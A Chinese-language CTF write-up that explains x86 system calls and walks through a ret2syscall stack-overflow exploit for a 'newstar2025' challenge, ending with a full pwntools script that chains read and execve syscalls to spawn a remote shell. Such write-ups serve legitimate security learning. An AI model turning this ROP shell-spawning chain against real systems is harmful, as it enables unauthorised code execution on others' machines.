系统调用

操作系统的进程空间可分为用户空间内核空间,它们需要不同的执行权限。其中系统调用运行在内核空间

在电脑中,系统调用(英语:system call),指运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务

我们要知道,系统调用和库函数调用是两回事,系统调用由操作系统内核提供,运行于内核核心态,而普通的库函数调用由函数库或用户自己提供,运行于用户态

应用程序调用系统调用的过程是:

1.把系统调用的编号存入EAX
2.把函数参数存入其它通用寄存器
3.触发 0x80 号中断(int 0x80)

在这里我以32位系统为例,一个经典的系统调用如下

1
2
3
4
5
6
mov eax,0xb
mov ebx,["/bin/sh"]
mov ecx,0
mov edx,0

int 0x80

查找对应的函数调用表,我们知道0xb对应的是execve指令,然后将bin/sh字符串写入寄存器ebx中,剩下几个寄存器为空。当我们触发int 0x80软中断后,CPU会切换到内核态,会先从eax读到函数调用号0xb,然后读到参数bin/sh字符串,这一顿操作下来等价于execve(“bin/sh”,NULL,NULL),最后执行ret指令切换回用户态

系统调用表可以在以下几个网站查找
https://rninche01.tistory.com/entry/Linux-system-call-table-%EC%A0%95%EB%A6%ACx86-x64

https://syscalls.mebeim.net/?table=x86/64/x64/latest

ret2syscall实战

eg:newstar2025 week2 syscall

题目内容:
远在Hong Kong 的朋友常说“虽然世界给他关上了门,但同时又开了一扇窗”

先不管ret2syscall,我们可以看到在func函数里的是存在明显的栈溢出漏洞的,偏移量为0x12+0x4,即22

这类题有什么特征呢,打开ida,我们可以看到有茫茫多的函数,用得上用不上的都放上去了,很显然,该可执行文件是静态链接的

这就有一个好处了,这些茫茫多的函数给我们提供了很多gadget,可以帮助我们构造ROP

从这么多gadget里手动找到我们想要的几段肯定是不现实的,我们可以用ROPgadget帮我们找

1
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'eax'


我们的四个寄存器也以此就位了,分别是

pop_eax = 0x080b438a
pop_ebx = 0x08049022
pop_ecx = 0x0804985a
pop_edx = 0x0804985c

我们还缺int80和/bin/sh字符串

我们找到了int80的地址

int_0x80 = 0x08073a00

但是程序里没有给我们/bin/sh字符串。在之前的ret2libc里我们同样遇到了这种情况,我们要做的是自己sendline一个/bin/sh字符串,这时候我们依然可以借助系统调用,调用出read供我们使用

查询32位的系统调用表,我们知道read函数的系统调用号是0x3,关于三个参数分别是0,随便的一段.bss段,0x20,分别是什么意思可以看下面的链接,写的很详细了
https://blog.csdn.net/m0_74091159/article/details/142261052

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')

elf = ELF('./syscall')

io = remote('39.106.48.123',26282)

#io=process('./pwn')

offset = 22

pop_eax = 0x080b438a

pop_ebx = 0x08049022

pop_ecx = 0x0804985a

pop_edx = 0x0804985c

int_0x80 = 0x08073a00

bss_addr = elf.bss()

read_addr = elf.symbols['read']

payload = cyclic(offset)
payload+=p32(pop_eax)
payload+=p32(0x3)
payload+=p32(pop_edx)
payload+=p32(0x20)
payload+=p32(pop_ecx)
payload+=p32(bss_addr)
payload+=p32(pop_ebx)
payload+=p32(0)
payload+=p32(int_0x80)

payload+=p32(pop_eax)
payload+=p32(0xb)
payload+=p32(pop_edx)
payload+=p32(0)
payload+=p32(pop_ecx)
payload+=p32(0)
payload+=p32(pop_ebx)
payload+=p32(bss_addr)
payload+=p32(int_0x80)

io.sendlineafter("pwn it guys!\n",payload)

io.sendline('/bin/sh\x00')

io.interactive()



总结

通过学习ret2syscall,我们了解了ret2syscall这类题的基本特征,重点了解了什么是系统调用,以及如何进行系统调用,对gadget和ROP技术的利用有了更加深入的理解